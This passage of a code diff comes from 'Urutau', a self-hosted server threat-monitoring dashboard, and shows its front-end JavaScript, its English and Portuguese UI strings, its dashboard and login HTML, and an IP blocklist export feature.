row(dl, t('detail.level'), levelBadge(d.level));
|
||||
row(dl, t('detail.score'), el('span', 'num', String(d.score)));
|
||||
row(dl, t('detail.rdns'), el('span', 'mono', d.rdns || '-'));
|
||||
if (d.cc) row(dl, t('detail.country'), el('span', '', flag(d.cc) + ' ' + (d.country || countryName(d.cc))));
|
||||
if (d.city) row(dl, t('detail.city'), el('span', '', d.city));
|
||||
if (d.asn) row(dl, t('detail.network'), el('span', '', 'AS' + d.asn + (d.as_org ? ' ' + d.as_org : '')));
|
||||
row(dl, t('detail.first'), el('span', '', new Date(d.first * 1000).toLocaleString(lang)));
|
||||
row(dl, t('detail.last'), el('span', '', new Date(d.last * 1000).toLocaleString(lang) + ' (' + ago(d.last) + ')'));
|
||||
row(dl, t('detail.hosts'), el('span', '', (d.hosts || []).join(', ')));
|
||||
if (d.banned) row(dl, t('detail.jails'), el('span', 'banned', (d.jails || []).join(', ')));
|
||||
var counts = el('span');
|
||||
Object.keys(d.counts).filter(function (c) { return KNOWN_CATS.indexOf(c) >= 0; }).forEach(function (c) { counts.appendChild(el('span', 'chip', t('cat.' + c) + ' ' + nf(d.counts[c]))); });
|
||||
row(dl, t('detail.counts'), counts);
|
||||
row(dl, t('detail.domains'), listOf(d.domains, true));
|
||||
row(dl, t('detail.uas'), listOf(d.uas, false));
|
||||
if (d.ua_labels && d.ua_labels.length) row(dl, t('detail.uaparsed'), listOf(d.ua_labels, false));
|
||||
row(dl, t('detail.samples'), listOf(d.samples, true));
|
||||
box.appendChild(dl);
|
||||
}).catch(function (e) {
|
||||
if (String(e.message) === 'unauthorized') return;
|
||||
clear(box);
|
||||
box.appendChild(el('p', 'empty', t('detail.notfound')));
|
||||
var cl = el('button', 'btn', t('detail.close'));
|
||||
cl.type = 'button';
|
||||
cl.addEventListener('click', closeDetail);
|
||||
box.appendChild(cl);
|
||||
});
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------- blocklist
|
||||
function blocklistQuery(extra) {
|
||||
var p = new URLSearchParams({ host: state.host, min_score: String($('#minScore').value || '50') });
|
||||
for (var k in extra) p.set(k, extra[k]);
|
||||
return p.toString();
|
||||
}
|
||||
function updateBlocklistLink() { $('#dlBl').setAttribute('href', '/api/v1/blocklist.txt?' + blocklistQuery({ download: '1' })); }
|
||||
function copyText(text) {
|
||||
if (navigator.clipboard && navigator.clipboard.writeText) return navigator.clipboard.writeText(text);
|
||||
return new Promise(function (ok, fail) {
|
||||
var ta = document.createElement('textarea');
|
||||
ta.value = text;
|
||||
document.body.appendChild(ta);
|
||||
ta.select();
|
||||
var done = false;
|
||||
try { done = document.execCommand('copy'); } catch (e) { done = false; }
|
||||
document.body.removeChild(ta);
|
||||
done ? ok() : fail(new Error('copy'));
|
||||
});
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------- wiring
|
||||
function resetPage() { state.page = 1; refresh(); }
|
||||
var timer;
|
||||
$('#range').addEventListener('click', function (e) {
|
||||
var r = e.target.getAttribute && e.target.getAttribute('data-range');
|
||||
if (!r) return;
|
||||
state.range = r; lsSet('urutau.range', r); resetPage();
|
||||
});
|
||||
$('#host').addEventListener('change', function (e) { state.host = e.target.value; lsSet('urutau.host', state.host); resetPage(); });
|
||||
$('#lang').addEventListener('click', function () { lang = lang === 'en' ? 'pt-BR' : 'en'; lsSet('urutau.lang', lang); applyI18n(); });
|
||||
$('#theme').addEventListener('click', function () {
|
||||
var cur = document.documentElement.getAttribute('data-theme') || (matchMedia('(prefers-color-scheme: light)').matches ? 'light' : 'dark');
|
||||
var next = cur === 'dark' ? 'light' : 'dark';
|
||||
document.documentElement.setAttribute('data-theme', next);
|
||||
lsSet('urutau.theme', next);
|
||||
});
|
||||
$('#q').addEventListener('input', function (e) { clearTimeout(timer); timer = setTimeout(function () { state.q = e.target.value.trim(); resetPage(); }, 300); });
|
||||
$('#level').addEventListener('change', function (e) { state.level = e.target.value; resetPage(); });
|
||||
$('#bannedOnly').addEventListener('change', function (e) { state.banned = e.target.checked; resetPage(); });
|
||||
$('#prev').addEventListener('click', function () { if (state.page > 1) { state.page--; refresh(); } });
|
||||
$('#next').addEventListener('click', function () { state.page++; refresh(); });
|
||||
document.querySelectorAll('th [data-sort]').forEach(function (b) {
|
||||
b.addEventListener('click', function () {
|
||||
var k = b.getAttribute('data-sort');
|
||||
if (state.sort === k) state.order = state.order === 'desc' ? 'asc' : 'desc'; else { state.sort = k; state.order = 'desc'; }
|
||||
resetPage();
|
||||
});
|
||||
});
|
||||
$('#minScore').addEventListener('input', updateBlocklistLink);
|
||||
$('#copyBl').addEventListener('click', function () {
|
||||
var msg = $('#blMsg');
|
||||
fetch('/api/v1/blocklist.txt?' + blocklistQuery({}), { credentials: 'same-origin' }).then(function (r) { return r.text(); }).then(function (txt) {
|
||||
var n = txt.split('\n').filter(Boolean).length;
|
||||
return copyText(txt).then(function () { msg.textContent = t('blocklist.copied', nf(n)); });
|
||||
}).catch(function () { msg.textContent = t('blocklist.failed'); });
|
||||
});
|
||||
$('#scrim').addEventListener('click', closeDetail);
|
||||
document.addEventListener('keydown', function (e) { if (e.key === 'Escape') closeDetail(); });
|
||||
var rz;
|
||||
window.addEventListener('resize', function () { clearTimeout(rz); rz = setTimeout(function () { drawChart(); drawTrafficChart(); }, 150); });
|
||||
|
||||
document.querySelectorAll('.tabs button[role=tab]').forEach(function (b) { b.addEventListener('click', function () { setTab(b.getAttribute('data-tab')); }); });
|
||||
$('#domain').addEventListener('change', function (e) { state.domain = e.target.value; refresh(); });
|
||||
$('#tab-threats').hidden = state.tab !== 'threats';
|
||||
$('#tab-traffic').hidden = state.tab !== 'traffic';
|
||||
$('#domain').hidden = state.tab !== 'traffic';
|
||||
document.querySelectorAll('.tabs button[role=tab]').forEach(function (b) { b.setAttribute('aria-selected', b.getAttribute('data-tab') === state.tab ? 'true' : 'false'); });
|
||||
applyI18n();
|
||||
refresh();
|
||||
connectLive();
|
||||
setInterval(function () { if (!document.hidden) refresh(); }, 10000);
|
||||
})();
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 7.6 KiB |
@@ -0,0 +1,296 @@
|
||||
/* Urutau UI dictionaries. Every key must exist in both languages:
|
||||
scripts/check-ui-i18n.mjs enforces it. "{n}" is replaced by the caller. */
|
||||
window.URUTAU_I18N = {
|
||||
en: {
|
||||
'tagline': 'Lightweight, always-on threat intelligence for self-hosted servers · local-first · authorized use.',
|
||||
'live.connecting': 'connecting',
|
||||
'live.on': 'live',
|
||||
'live.off': 'reconnecting',
|
||||
'host.label': 'Host',
|
||||
'host.all': 'All hosts',
|
||||
'range.label': 'Time range',
|
||||
'range.1h': '1 h',
|
||||
'range.24h': '24 h',
|
||||
'range.7d': '7 d',
|
||||
'lang.toggle': 'Switch language',
|
||||
'theme.toggle': 'Switch light/dark theme',
|
||||
'logout': 'Sign out',
|
||||
'kpi.requests': 'Requests',
|
||||
'kpi.malicious': 'Malicious events',
|
||||
'kpi.hostile': 'Hostile IPs',
|
||||
'kpi.suspicious': 'Suspicious IPs',
|
||||
'kpi.bans': 'Active bans',
|
||||
'kpi.ips': 'Distinct IPs',
|
||||
'kpi.monitoring': '{n} monitoring requests filtered out.',
|
||||
'feed.forged': 'forged monitor user agent',
|
||||
'timeline.title': 'Activity by category',
|
||||
'timeline.empty': 'No activity in this range.',
|
||||
'ips.title': 'Top IPs',
|
||||
'ips.search': 'Filter by IP or reverse DNS',
|
||||
'ips.level': 'Threat level',
|
||||
'ips.bannedOnly': 'Banned only',
|
||||
'ips.empty': 'No IPs match.',
|
||||
'level.all': 'All levels',
|
||||
'level.hostile': 'Hostile',
|
||||
'level.suspicious': 'Suspicious',
|
||||
'level.low': 'Low',
|
||||
'col.ip': 'IP',
|
||||
'col.score': 'Score',
|
||||
'col.level': 'Level',
|
||||
'col.cats': 'Categories',
|
||||
'col.last': 'Last seen',
|
||||
'col.banned': 'Banned',
|
||||
'col.host': 'Host',
|
||||
'col.source': 'Source',
|
||||
'col.state': 'State',
|
||||
'col.lines': 'Lines',
|
||||
'col.malformed': 'Malformed',
|
||||
'col.lastEvent': 'Last event',
|
||||
'pager.prev': 'Previous',
|
||||
'pager.next': 'Next',
|
||||
'pager.count': '{n} IPs',
|
||||
'feed.title': 'Live feed',
|
||||
'feed.empty': 'Waiting for events.',
|
||||
'top.paths': 'Most attacked paths',
|
||||
'top.domains': 'Most targeted domains',
|
||||
'top.uas': 'Top user agents',
|
||||
'top.users': 'SSH users tried',
|
||||
'top.empty': 'No data.',
|
||||
'blocklist.title': 'Blocklist',
|
||||
'blocklist.help': 'Export the IPs at or above a score as a plain list, one per line, for a firewall or fail2ban.',
|
||||
'blocklist.minScore': 'Minimum score',
|
||||
'blocklist.copy': 'Copy list',
|
||||
'blocklist.download': 'Download',
|
||||
'blocklist.copied': '{n} IPs copied.',
|
||||
'blocklist.failed': 'Could not copy the list.',
|
||||
'hosts.title': 'Hosts',
|
||||
'host.online': 'online',
|
||||
'host.offline': 'offline',
|
||||
'host.requests': 'Requests',
|
||||
'host.malicious': 'Malicious',
|
||||
'host.hostile': 'Hostile IPs',
|
||||
'host.bans': 'Bans',
|
||||
'host.latency': 'Latency',
|
||||
'sources.title': 'Sources',
|
||||
'state.following': 'following',
|
||||
'state.waiting': 'waiting for file',
|
||||
'state.backfill': 'reading history',
|
||||
'state.error': 'error',
|
||||
'state.disabled': 'disabled',
|
||||
'cat.ok': 'ok',
|
||||
'cat.notfound': 'not found',
|
||||
'cat.scanner': 'scanner',
|
||||
'cat.exploit': 'exploit',
|
||||
'cat.bruteforce': 'brute force',
|
||||
'cat.ssh-fail': 'ssh fail',
|
||||
'cat.ssh-probe': 'ssh probe',
|
||||
'cat.ssh-ok': 'ssh login',
|
||||
'cat.ban': 'ban',
|
||||
'feed.unban': 'unban',
|
||||
'ago.now': 'now',
|
||||
'ago.s': '{n}s ago',
|
||||
'ago.m': '{n}m ago',
|
||||
'ago.h': '{n}h ago',
|
||||
'ago.d': '{n}d ago',
|
||||
'never': 'never',
|
||||
'yes': 'yes',
|
||||
'detail.close': 'Close',
|
||||
'detail.copyIp': 'Copy IP',
|
||||
'detail.score': 'Score',
|
||||
'detail.level': 'Level',
|
||||
'detail.first': 'First seen',
|
||||
'detail.last': 'Last seen',
|
||||
'detail.rdns': 'Reverse DNS',
|
||||
'detail.hosts': 'Hosts',
|
||||
'detail.domains': 'Targeted domains',
|
||||
'detail.uas': 'User agents',
|
||||
'detail.samples': 'Recent activity',
|
||||
'detail.jails': 'Active bans',
|
||||
'detail.counts': 'Events',
|
||||
'detail.notfound': 'This IP is no longer in memory.',
|
||||
'error.load': 'Could not load data. Retrying.',
|
||||
'footer': 'Urutau · watches motionless all night.',
|
||||
'tab.threats': 'Threats',
|
||||
'tab.traffic': 'Traffic',
|
||||
'traffic.domain': 'Domain',
|
||||
'traffic.allDomains': 'All domains',
|
||||
'traffic.timeline': 'Requests and page views',
|
||||
'traffic.requests': 'Requests',
|
||||
'traffic.pages': 'Page views',
|
||||
'traffic.visitors': 'Visitors',
|
||||
'traffic.bytes': 'Data sent',
|
||||
'traffic.bots': 'Search and AI bots',
|
||||
'traffic.latency': 'Latency p50 / p95',
|
||||
'traffic.topPages': 'Top pages',
|
||||
'traffic.referrers': 'External referrers',
|
||||
'traffic.cities': 'Cities',
|
||||
'traffic.browsers': 'Browsers',
|
||||
'traffic.oses': 'Operating systems',
|
||||
'traffic.devices': 'Devices',
|
||||
'traffic.status': 'Status codes',
|
||||
'traffic.privacy': 'Visitors are counted with a daily rotating hash kept in memory only. No visitor IP is stored.',
|
||||
'map.attacks': 'Origin of attacks',
|
||||
'map.visitors': 'Visitors by country',
|
||||
'col.origin': 'Origin',
|
||||
'detail.country': 'Country',
|
||||
'detail.city': 'City',
|
||||
'detail.network': 'Network',
|
||||
'detail.uaparsed': 'Clients',
|
||||
'device.desktop': 'desktop',
|
||||
'device.mobile': 'mobile',
|
||||
'device.tablet': 'tablet',
|
||||
'device.bot': 'bot',
|
||||
'device.tool': 'tool',
|
||||
'device.unknown': 'unknown',
|
||||
'login.token': 'Access token',
|
||||
'login.submit': 'Sign in',
|
||||
'login.err.bad': 'Invalid token.',
|
||||
'login.err.rate': 'Too many attempts. Try again in a few minutes.'
|
||||
},
|
||||
'pt-BR': {
|
||||
'tagline': 'Inteligência de ameaças leve e sempre ativa para servidores próprios · local-first · uso autorizado.',
|
||||
'live.connecting': 'conectando',
|
||||
'live.on': 'ao vivo',
|
||||
'live.off': 'reconectando',
|
||||
'host.label': 'Host',
|
||||
'host.all': 'Todos os hosts',
|
||||
'range.label': 'Período',
|
||||
'range.1h': '1 h',
|
||||
'range.24h': '24 h',
|
||||
'range.7d': '7 d',
|
||||
'lang.toggle': 'Trocar idioma',
|
||||
'theme.toggle': 'Alternar tema claro/escuro',
|
||||
'logout': 'Sair',
|
||||
'kpi.requests': 'Requisições',
|
||||
'kpi.malicious': 'Eventos maliciosos',
|
||||
'kpi.hostile': 'IPs hostis',
|
||||
'kpi.suspicious': 'IPs suspeitos',
|
||||
'kpi.bans': 'Bans ativos',
|
||||
'kpi.ips': 'IPs distintos',
|
||||
'kpi.monitoring': '{n} requisições de monitoramento filtradas.',
|
||||
'feed.forged': 'user-agent de monitor forjado',
|
||||
'timeline.title': 'Atividade por categoria',
|
||||
'timeline.empty': 'Nenhuma atividade neste período.',
|
||||
'ips.title': 'Principais IPs',
|
||||
'ips.search': 'Filtrar por IP ou DNS reverso',
|
||||
'ips.level': 'Nível de ameaça',
|
||||
'ips.bannedOnly': 'Só banidos',
|
||||
'ips.empty': 'Nenhum IP corresponde.',
|
||||
'level.all': 'Todos os níveis',
|
||||
'level.hostile': 'Hostil',
|
||||
'level.suspicious': 'Suspeito',
|
||||
'level.low': 'Baixo',
|
||||
'col.ip': 'IP',
|
||||
'col.score': 'Pontos',
|
||||
'col.level': 'Nível',
|
||||
'col.cats': 'Categorias',
|
||||
'col.last': 'Visto por último',
|
||||
'col.banned': 'Banido',
|
||||
'col.host': 'Host',
|
||||
'col.source': 'Fonte',
|
||||
'col.state': 'Estado',
|
||||
'col.lines': 'Linhas',
|
||||
'col.malformed': 'Malformadas',
|
||||
'col.lastEvent': 'Último evento',
|
||||
'pager.prev': 'Anterior',
|
||||
'pager.next': 'Próxima',
|
||||
'pager.count': '{n} IPs',
|
||||
'feed.title': 'Feed ao vivo',
|
||||
'feed.empty': 'Aguardando eventos.',
|
||||
'top.paths': 'Caminhos mais atacados',
|
||||
'top.domains': 'Domínios mais visados',
|
||||
'top.uas': 'Principais user-agents',
|
||||
'top.users': 'Usuários SSH tentados',
|
||||
'top.empty': 'Sem dados.',
|
||||
'blocklist.title': 'Lista de bloqueio',
|
||||
'blocklist.help': 'Exporte os IPs a partir de uma pontuação como lista simples, um por linha, para firewall ou fail2ban.',
|
||||
'blocklist.minScore': 'Pontuação mínima',
|
||||
'blocklist.copy': 'Copiar lista',
|
||||
'blocklist.download': 'Baixar',
|
||||
'blocklist.copied': '{n} IPs copiados.',
|
||||
'blocklist.failed': 'Não foi possível copiar a lista.',
|
||||
'hosts.title': 'Hosts',
|
||||
'host.online': 'online',
|
||||
'host.offline': 'offline',
|
||||
'host.requests': 'Requisições',
|
||||
'host.malicious': 'Maliciosos',
|
||||
'host.hostile': 'IPs hostis',
|
||||
'host.bans': 'Bans',
|
||||
'host.latency': 'Latência',
|
||||
'sources.title': 'Fontes',
|
||||
'state.following': 'acompanhando',
|
||||
'state.waiting': 'aguardando arquivo',
|
||||
'state.backfill': 'lendo histórico',
|
||||
'state.error': 'erro',
|
||||
'state.disabled': 'desativada',
|
||||
'cat.ok': 'ok',
|
||||
'cat.notfound': 'não encontrado',
|
||||
'cat.scanner': 'scanner',
|
||||
'cat.exploit': 'exploit',
|
||||
'cat.bruteforce': 'força bruta',
|
||||
'cat.ssh-fail': 'falha ssh',
|
||||
'cat.ssh-probe': 'sondagem ssh',
|
||||
'cat.ssh-ok': 'login ssh',
|
||||
'cat.ban': 'ban',
|
||||
'feed.unban': 'desbanido',
|
||||
'ago.now': 'agora',
|
||||
'ago.s': 'há {n}s',
|
||||
'ago.m': 'há {n}min',
|
||||
'ago.h': 'há {n}h',
|
||||
'ago.d': 'há {n}d',
|
||||
'never': 'nunca',
|
||||
'yes': 'sim',
|
||||
'detail.close': 'Fechar',
|
||||
'detail.copyIp': 'Copiar IP',
|
||||
'detail.score': 'Pontos',
|
||||
'detail.level': 'Nível',
|
||||
'detail.first': 'Primeira vez visto',
|
||||
'detail.last': 'Visto por último',
|
||||
'detail.rdns': 'DNS reverso',
|
||||
'detail.hosts': 'Hosts',
|
||||
'detail.domains': 'Domínios visados',
|
||||
'detail.uas': 'User-agents',
|
||||
'detail.samples': 'Atividade recente',
|
||||
'detail.jails': 'Bans ativos',
|
||||
'detail.counts': 'Eventos',
|
||||
'detail.notfound': 'Este IP não está mais na memória.',
|
||||
'error.load': 'Não foi possível carregar os dados. Tentando de novo.',
|
||||
'footer': 'Urutau · vigia imóvel a noite toda.',
|
||||
'tab.threats': 'Ameaças',
|
||||
'tab.traffic': 'Tráfego',
|
||||
'traffic.domain': 'Domínio',
|
||||
'traffic.allDomains': 'Todos os domínios',
|
||||
'traffic.timeline': 'Requisições e páginas vistas',
|
||||
'traffic.requests': 'Requisições',
|
||||
'traffic.pages': 'Páginas vistas',
|
||||
'traffic.visitors': 'Visitantes',
|
||||
'traffic.bytes': 'Dados enviados',
|
||||
'traffic.bots': 'Bots de busca e de IA',
|
||||
'traffic.latency': 'Latência p50 / p95',
|
||||
'traffic.topPages': 'Páginas mais vistas',
|
||||
'traffic.referrers': 'Referenciadores externos',
|
||||
'traffic.cities': 'Cidades',
|
||||
'traffic.browsers': 'Navegadores',
|
||||
'traffic.oses': 'Sistemas operacionais',
|
||||
'traffic.devices': 'Dispositivos',
|
||||
'traffic.status': 'Códigos de status',
|
||||
'traffic.privacy': 'Visitantes são contados com um hash que muda todo dia e fica só na memória. Nenhum IP de visitante é guardado.',
|
||||
'map.attacks': 'Origem dos ataques',
|
||||
'map.visitors': 'Visitantes por país',
|
||||
'col.origin': 'Origem',
|
||||
'detail.country': 'País',
|
||||
'detail.city': 'Cidade',
|
||||
'detail.network': 'Rede',
|
||||
'detail.uaparsed': 'Clientes',
|
||||
'device.desktop': 'computador',
|
||||
'device.mobile': 'celular',
|
||||
'device.tablet': 'tablet',
|
||||
'device.bot': 'bot',
|
||||
'device.tool': 'ferramenta',
|
||||
'device.unknown': 'desconhecido',
|
||||
'login.token': 'Token de acesso',
|
||||
'login.submit': 'Entrar',
|
||||
'login.err.bad': 'Token inválido.',
|
||||
'login.err.rate': 'Tentativas demais. Tente de novo em alguns minutos.'
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,165 @@
|
||||
<!doctype html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<meta name="color-scheme" content="dark light">
|
||||
<title>Urutau</title>
|
||||
<link rel="icon" type="image/png" href="/favicon.png">
|
||||
<link rel="stylesheet" href="/style.css">
|
||||
</head>
|
||||
<body>
|
||||
<div class="wrap">
|
||||
<header class="top">
|
||||
<div class="brand">
|
||||
<img src="/logo.png" alt="Urutau" width="44" height="44">
|
||||
<div><h1>Urutau</h1><small data-i18n="tagline"></small></div>
|
||||
</div>
|
||||
<div class="controls">
|
||||
<span class="live"><span class="dot" id="live-dot"></span><span id="live-text" data-i18n="live.connecting"></span></span>
|
||||
<select id="host" data-i18n-aria="host.label"></select>
|
||||
<div class="seg" id="range" role="group" data-i18n-aria="range.label">
|
||||
<button type="button" data-range="1h" data-i18n="range.1h"></button>
|
||||
<button type="button" data-range="24h" data-i18n="range.24h"></button>
|
||||
<button type="button" data-range="7d" data-i18n="range.7d"></button>
|
||||
</div>
|
||||
<button type="button" class="btn" id="lang" data-i18n-aria="lang.toggle">EN</button>
|
||||
<button type="button" class="btn" id="theme" data-i18n-aria="theme.toggle" data-i18n-title="theme.toggle">◐</button>
|
||||
<form method="post" action="/logout"><button class="btn" type="submit" data-i18n="logout"></button></form>
|
||||
</div>
|
||||
</header>
|
||||
|
||||
<nav class="tabs" role="tablist">
|
||||
<button type="button" role="tab" id="tab-btn-threats" data-tab="threats" aria-selected="true" data-i18n="tab.threats"></button>
|
||||
<button type="button" role="tab" id="tab-btn-traffic" data-tab="traffic" aria-selected="false" data-i18n="tab.traffic"></button>
|
||||
<select id="domain" hidden data-i18n-aria="traffic.domain"></select>
|
||||
</nav>
|
||||
|
||||
<div class="err-banner" id="err" hidden></div>
|
||||
|
||||
<div id="tab-threats">
|
||||
|
||||
<section class="grid kpis" id="kpis"></section>
|
||||
|
||||
<p class="empty mono" id="monitoring"></p>
|
||||
|
||||
<section class="panel">
|
||||
<h2 data-i18n="timeline.title"></h2>
|
||||
<div class="chart-wrap" id="chart"></div>
|
||||
<div class="legend" id="legend"></div>
|
||||
</section>
|
||||
|
||||
<section class="panel mt">
|
||||
<h2 data-i18n="map.attacks"></h2>
|
||||
<div class="mapbox"><div class="map" id="map-threats"></div><div class="maplist" id="maplist-threats"></div></div>
|
||||
</section>
|
||||
|
||||
<section class="grid cols-main mt">
|
||||
<div class="panel">
|
||||
<h2 data-i18n="ips.title"></h2>
|
||||
<div class="toolbar">
|
||||
<input type="text" id="q" data-i18n-ph="ips.search" data-i18n-aria="ips.search" autocomplete="off">
|
||||
<select id="level" data-i18n-aria="ips.level">
|
||||
<option value="" data-i18n="level.all"></option>
|
||||
<option value="hostile" data-i18n="level.hostile"></option>
|
||||
<option value="suspicious" data-i18n="level.suspicious"></option>
|
||||
<option value="low" data-i18n="level.low"></option>
|
||||
</select>
|
||||
<label class="live"><input type="checkbox" id="bannedOnly"> <span data-i18n="ips.bannedOnly"></span></label>
|
||||
</div>
|
||||
<table class="stack" id="ips">
|
||||
<thead><tr>
|
||||
<th><button type="button" data-sort="ip" data-i18n="col.ip"></button></th>
|
||||
<th><button type="button" data-sort="score" data-i18n="col.score"></button></th>
|
||||
<th data-i18n="col.level"></th>
|
||||
<th data-i18n="col.cats"></th>
|
||||
<th data-i18n="col.origin"></th>
|
||||
<th><button type="button" data-sort="last" data-i18n="col.last"></button></th>
|
||||
<th data-i18n="col.banned"></th>
|
||||
</tr></thead>
|
||||
<tbody></tbody>
|
||||
</table>
|
||||
<div class="pager">
|
||||
<span id="count"></span>
|
||||
<span><button type="button" class="btn" id="prev" data-i18n="pager.prev"></button> <button type="button" class="btn" id="next" data-i18n="pager.next"></button></span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="panel">
|
||||
<h2 data-i18n="feed.title"></h2>
|
||||
<ul class="feed" id="feed"></ul>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section class="grid cols-3 mt">
|
||||
<div class="panel"><h2 data-i18n="top.paths"></h2><div id="top-paths"></div></div>
|
||||
<div class="panel"><h2 data-i18n="top.domains"></h2><div id="top-domains"></div></div>
|
||||
<div class="panel"><h2 data-i18n="top.uas"></h2><div id="top-uas"></div></div>
|
||||
</section>
|
||||
|
||||
<section class="grid cols-2 mt">
|
||||
<div class="panel"><h2 data-i18n="top.users"></h2><div id="top-users"></div></div>
|
||||
<div class="panel">
|
||||
<h2 data-i18n="blocklist.title"></h2>
|
||||
<p class="empty" data-i18n="blocklist.help"></p>
|
||||
<div class="toolbar">
|
||||
<label class="live"><span data-i18n="blocklist.minScore"></span> <input type="number" id="minScore" value="50" min="0" step="1"></label>
|
||||
<button type="button" class="btn primary" id="copyBl" data-i18n="blocklist.copy"></button>
|
||||
<a class="btn" id="dlBl" href="/api/v1/blocklist.txt?download=1" data-i18n="blocklist.download"></a>
|
||||
</div>
|
||||
<div class="empty" id="blMsg" role="status"></div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
</div>
|
||||
|
||||
<div id="tab-traffic" hidden>
|
||||
<section class="grid kpis" id="tkpis"></section>
|
||||
<section class="panel">
|
||||
<h2 data-i18n="traffic.timeline"></h2>
|
||||
<div class="chart-wrap" id="tchart"></div>
|
||||
<div class="legend"><span class="live"><span class="sw t-req"></span><span data-i18n="traffic.requests"></span></span> <span class="live"><span class="sw t-pages"></span><span data-i18n="traffic.pages"></span></span></div>
|
||||
</section>
|
||||
<section class="panel mt">
|
||||
<h2 data-i18n="map.visitors"></h2>
|
||||
<div class="mapbox"><div class="map" id="map-traffic"></div><div class="maplist" id="maplist-traffic"></div></div>
|
||||
</section>
|
||||
<section class="grid cols-3 mt">
|
||||
<div class="panel"><h2 data-i18n="traffic.topPages"></h2><div id="t-pages"></div></div>
|
||||
<div class="panel"><h2 data-i18n="traffic.referrers"></h2><div id="t-refs"></div></div>
|
||||
<div class="panel"><h2 data-i18n="traffic.cities"></h2><div id="t-cities"></div></div>
|
||||
</section>
|
||||
<section class="grid cols-3 mt">
|
||||
<div class="panel"><h2 data-i18n="traffic.browsers"></h2><div id="t-browsers"></div></div>
|
||||
<div class="panel"><h2 data-i18n="traffic.oses"></h2><div id="t-oses"></div></div>
|
||||
<div class="panel"><h2 data-i18n="traffic.devices"></h2><div id="t-devices"></div></div>
|
||||
</section>
|
||||
<section class="grid cols-2 mt">
|
||||
<div class="panel"><h2 data-i18n="traffic.bots"></h2><div id="t-bots"></div></div>
|
||||
<div class="panel"><h2 data-i18n="traffic.status"></h2><div id="t-status"></div><p class="empty" data-i18n="traffic.privacy"></p></div>
|
||||
</section>
|
||||
</div>
|
||||
|
||||
<section class="panel mt">
|
||||
<h2 data-i18n="hosts.title"></h2>
|
||||
<div class="hosts" id="hosts"></div>
|
||||
<h2 class="mt" data-i18n="sources.title"></h2>
|
||||
<table class="stack" id="sources">
|
||||
<thead><tr>
|
||||
<th data-i18n="col.host"></th><th data-i18n="col.source"></th><th data-i18n="col.state"></th>
|
||||
<th data-i18n="col.lines"></th><th data-i18n="col.malformed"></th><th data-i18n="col.lastEvent"></th>
|
||||
</tr></thead>
|
||||
<tbody></tbody>
|
||||
</table>
|
||||
</section>
|
||||
|
||||
<footer><span data-i18n="footer"></span> <span id="ver"></span><div id="attrib"></div></footer>
|
||||
</div>
|
||||
|
||||
<div class="scrim" id="scrim" hidden></div>
|
||||
<aside id="detail" hidden aria-live="polite"></aside>
|
||||
|
||||
<script src="/i18n.js"></script>
|
||||
<script src="/world.js"></script>
|
||||
<script src="/app.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,31 @@
|
||||
<!doctype html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<meta name="color-scheme" content="dark light">
|
||||
<title>Urutau</title>
|
||||
<link rel="icon" type="image/png" href="/favicon.png">
|
||||
<link rel="stylesheet" href="/style.css">
|
||||
</head>
|
||||
<body>
|
||||
<main class="login">
|
||||
<div class="panel">
|
||||
<img src="/logo.png" alt="Urutau" width="84" height="84">
|
||||
<h1>Urutau</h1>
|
||||
<p data-i18n="tagline"></p>
|
||||
<form method="post" action="/login">
|
||||
<input type="password" name="token" id="token" required autocomplete="current-password" data-i18n-ph="login.token" data-i18n-aria="login.token" autofocus>
|
||||
<button class="btn primary" type="submit" data-i18n="login.submit"></button>
|
||||
<div class="msg" id="msg" role="alert"></div>
|
||||
</form>
|
||||
<div class="controls">
|
||||
<button type="button" class="btn" id="lang" data-i18n-aria="lang.toggle">EN</button>
|
||||
<button type="button" class="btn" id="theme" data-i18n-aria="theme.toggle" data-i18n-title="theme.toggle">◐</button>
|
||||
</div>
|
||||
</div>
|
||||
</main>
|
||||
<script src="/i18n.js"></script>
|
||||
<script src="/login.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,32 @@
|
||||
(function () {
|
||||
'use strict';
|
||||
var D = window.URUTAU_I18N;
|
||||
function get(k) { try { return localStorage.getItem(k); } catch (e) { return null; } }
|
||||
function set(k, v) { try { localStorage.setItem(k, v); } catch (e) { /* ignore */ } }
|
||||
var lang = get('urutau.lang') || ((navigator.language || 'en').toLowerCase().indexOf('pt') === 0 ? 'pt-BR' : 'en');
|
||||
if (!D[lang]) lang = 'en';
|
||||
var theme = get('urutau.theme');
|
||||
if (theme === 'light' || theme === 'dark') document.documentElement.setAttribute('data-theme', theme);
|
||||
function t(k) { return D[lang][k] || D.en[k] || k; }
|
||||
function apply() {
|
||||
document.documentElement.lang = lang;
|
||||
document.querySelectorAll('[data-i18n]').forEach(function (n) { n.textContent = t(n.getAttribute('data-i18n')); });
|
||||
document.querySelectorAll('[data-i18n-ph]').forEach(function (n) { n.setAttribute('placeholder', t(n.getAttribute('data-i18n-ph'))); });
|
||||
document.querySelectorAll('[data-i18n-aria]').forEach(function (n) { n.setAttribute('aria-label', t(n.getAttribute('data-i18n-aria'))); });
|
||||
document.querySelectorAll('[data-i18n-title]').forEach(function (n) { n.setAttribute('title', t(n.getAttribute('data-i18n-title'))); });
|
||||
document.getElementById('lang').textContent = lang === 'en' ? 'PT' : 'EN';
|
||||
var e = new URLSearchParams(location.search).get('e');
|
||||
try {
|
||||
var nav = performance.getEntriesByType('navigation')[0];
|
||||
if (nav && nav.responseStatus === 429) e = 'rate';
|
||||
} catch (x) { /* ignore */ }
|
||||
document.getElementById('msg').textContent = e === 'bad' ? t('login.err.bad') : e === 'rate' ? t('login.err.rate') : '';
|
||||
}
|
||||
document.getElementById('lang').addEventListener('click', function () { lang = lang === 'en' ? 'pt-BR' : 'en'; set('urutau.lang', lang); apply(); });
|
||||
document.getElementById('theme').addEventListener('click', function () {
|
||||
var cur = document.documentElement.getAttribute('data-theme') || (matchMedia('(prefers-color-scheme: light)').matches ? 'light' : 'dark');
|
||||
